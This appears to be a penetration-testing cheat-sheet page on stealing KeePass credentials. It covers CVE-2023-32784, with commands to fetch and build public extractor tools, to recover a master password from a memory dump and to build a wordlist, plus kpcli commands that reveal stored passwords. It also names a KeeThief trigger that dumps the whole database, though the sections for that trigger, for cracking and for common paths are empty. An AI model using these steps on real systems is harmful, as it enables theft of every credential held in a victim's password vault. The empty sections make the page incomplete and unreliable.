githubEdit

KeePass KeeThief

CVE-2023-32784 - Memory Dump Master Password Extraction

Affects: KeePass 2.x before 2.54

Extract master password from KeePass memory dump or crash dump file (.dmp).

Tools

# Rust version (fast)
git clone https://github.com/JorianWoltjer/keepass-dump-extractor
cd keepass-dump-extractor && cargo build --release

# Python version
git clone https://github.com/matro7sh/keepass-dump-masterkey

Exploitation

# Extract password (may have first char missing)
./keepass-dump-extractor KeePassDumpFull.dmp

# Output shows partial password with bullets for unknown chars
●ødgrød med fløde

# Generate wordlist for missing first char
./keepass-dump-extractor -f all KeePassDumpFull.dmp > wordlist.txt

# Python version
python3 poc.py KeePassDumpFull.dmp

Cracking KeePass Database


kpcli - KeePass CLI

Access KeePass database from command line.

Useful Commands

Command
Description

ls

List entries/groups

cd <group>

Change to group

show <entry>

Show entry (no password)

show -f <entry>

Show entry with password

find <term>

Search entries

quit

Exit


KeeThief Config Trigger (Windows)

Dumps entire database when user logs into KeePass.

Output CSV format:


Common KeePass Paths

Windows:

Linux:

Memory dumps:

Last updated